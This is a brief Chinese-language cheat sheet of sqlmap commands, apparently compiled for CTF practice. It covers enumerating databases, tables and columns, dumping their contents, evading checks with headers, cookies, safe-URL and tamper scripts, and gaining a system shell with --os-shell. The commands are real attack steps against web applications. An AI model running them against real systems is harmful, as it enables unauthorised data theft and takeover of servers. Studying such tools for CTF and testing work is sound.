sqlmap
常用方法
-u
找注入点并检测:
--dbs
显示数据库:
--tables
显示表:
sqlmap –u "链接" –D 数据库 --tables
|
--columns
显示表中字段:
sqlmap –u "链接" –D 数据库 –T 表名 --columns
|
--dump
显示内容:
sqlmap –u "链接" –D 数据库 –T 表名 –C 字段 --dump
|
- 和他们全爆了:
sqlmap -u "url" --dump --batch
|
- 还有一些方法
sqlmap -u http://url/?id=1 --dbs --batch
|
进阶方法
--user-agent
指定agent
--referer
绕过referer检查
--data
调整sqlmap的请求方式, 变为POST请求
--method
调整sqlmap的请求方式, 结合--data
使用
--method=PUT/POST/GET/DELETE
|
--cookie
提交cookie数据
--cookie="PHPSESSID=111;ctfshow=111;"
|
--safe-url
设置在测试目标地址前访问的"安全"链接, 一般和--safe-freq
一起使用
--safe-url="" --safe-freq=1
|
-
--safe-freq
访问安全链接的次数, 大于0即可
-
--header
增加额外的HTTP头, 其实可以在这里加cookie
--header=content-type:text/plain # 或 -H "Coolie:123=123"
|
--prefix
攻击载荷的前缀
--suffix
攻击载荷的后缀
-
--temper
指定攻击载荷的脚本
主要是自己写脚本: tamper脚本教学
-
--os-shell
网站中写文件执行系统命令
直接加上就行
-
POST请求检测:
将POST请求抓包保存在txt中, 例如bp.txt, 然后交给sqlmap, 参数直接在后面加即可, 比如--dbs
--current-db
查看当前使用的数据库
例子
给出一个非常综合的例子:
在bp类工具中是不需要管Content-type的, 但是在sqlmap就需要加上, 原因可能是data本身是按照表单形式发送数据
sqlmap -u "url"
--data "id=1"
--method=PUT
--user-agent=sqlmap
--referer=ctf.show
--header=content-type:text/plain
--cookie="1"
--safe-url="url"
--safe-freq=1
--prefix="')"
--suffix="#"
--tamper=space2comment
-r bp.txt
|